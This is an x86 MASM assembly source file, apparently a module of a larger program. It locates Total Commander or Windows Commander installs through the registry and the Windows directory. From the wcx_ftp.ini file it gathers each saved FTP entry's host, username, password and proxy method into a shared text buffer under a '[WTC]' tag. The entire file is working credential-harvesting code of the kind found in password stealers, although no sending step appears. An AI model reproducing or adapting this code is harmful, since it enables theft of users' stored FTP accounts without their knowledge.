; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        .data
                szWPPath1       db "Software\Ghisler\Windows Commander",0
                szWPPath2       db "Software\Ghisler\Total Commander",0
                szWPValue       db "InstallDir",0
                szWPIni         db "\Wcx_ftp.ini",0
                szWPIniStr1     db "host",0
                szWPIniStr2     db "username",0
                szWPProxy       db "method",0

        .data?
                lpWPFmtBuf      db 1024 dup(?)

        .code

; #########################################################################

GetWTPassEntry proc
        szText  szWPEntryFmt, "%s: %s",13,10
        invoke  GetPrivateProfileString, offset lpBuf3, ebx, offset szNilStr, offset lpBuf4, 1024, offset lpBuf1
        test    eax, eax
        jz      @ret
        invoke  wsprintf, offset lpWPFmtBuf, addr szWPEntryFmt, ebx, offset lpBuf4
        invoke  lstrcat, GlobalBuffer, offset lpWPFmtBuf
@ret:
        ret
GetWTPassEntry endp

; Uses lpBuf2, lpBuf3
GetWTPassword proc uses esi edi ebx
        invoke  lstrlen, offset lpBuf1
        mov     edx, offset lpBuf1
        cmp     byte ptr[edx+eax], '\'
        jne     @skip_add
        mov     byte ptr[edx+eax], 0

@skip_add:
        invoke  lstrcat, offset lpBuf1, offset szWPIni

        invoke  GetPrivateProfileSectionNames, offset lpBuf2, 8192, offset lpBuf1

        lea     esi, lpBuf2      
@prepare_loop:
        lea     edi, lpBuf3

@loop:
        lodsb
        or      al, al
        stosb 
        jnz     @loop

        ; Test if section is a NULL
        invoke  lstrlen, offset lpBuf3
        test    eax, eax
        jz      @loop_end

        ; Read section values
        invoke  lstrcat, GlobalBuffer, offset szBlockBegin
        lea     ebx, szWPIniStr1
        call    GetWTPassEntry
        lea     ebx, szWPIniStr2
        call    GetWTPassEntry
        lea     ebx, szPassword
        call    GetWTPassEntry
        lea     ebx, szWPProxy
        call    GetWTPassEntry
        invoke  lstrcat, GlobalBuffer, offset szBlockEnd

        ; Read next section
        jmp     @prepare_loop        

@loop_end:
        ret
GetWTPassword endp

; #########################################################################

; Uses lpBuf1
GetWTPassFromRegistry proc hkKey, hkPath: DWORD
        LOCAL   hkHandle, DataType, BufSize: DWORD

        invoke  RegCreateKey, hkKey, hkPath, addr hkHandle
        test    eax, eax
        jnz     @end

        mov     BufSize, 8192
        invoke  RegQueryValueEx, hkHandle, offset szWPValue, NULL, addr DataType, offset lpBuf1, addr BufSize
        test    eax, eax
        jnz     @free

        invoke  GetWTPassword

@free:
        invoke  RegCloseKey, hkKey

@end:        
        ret
GetWTPassFromRegistry endp

; #########################################################################

; Uses lpBuf1
GetWTCommanderPasswords proc
        ; Write the greet message
        szText  szWTCGreet, "[WTC]",13,10
        invoke  lstrcat, GlobalBuffer, addr szWTCGreet

        ; Find ini file in Windows directory
        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1
        invoke  GetWTPassword

        ; Find ini files from registry
        invoke  GetWTPassFromRegistry, HKEY_CURRENT_USER, offset szWPPath1
        invoke  GetWTPassFromRegistry, HKEY_CURRENT_USER, offset szWPPath2
        invoke  GetWTPassFromRegistry, HKEY_LOCAL_MACHINE, offset szWPPath1
        invoke  GetWTPassFromRegistry, HKEY_LOCAL_MACHINE, offset szWPPath2

        ret
GetWTCommanderPasswords endp
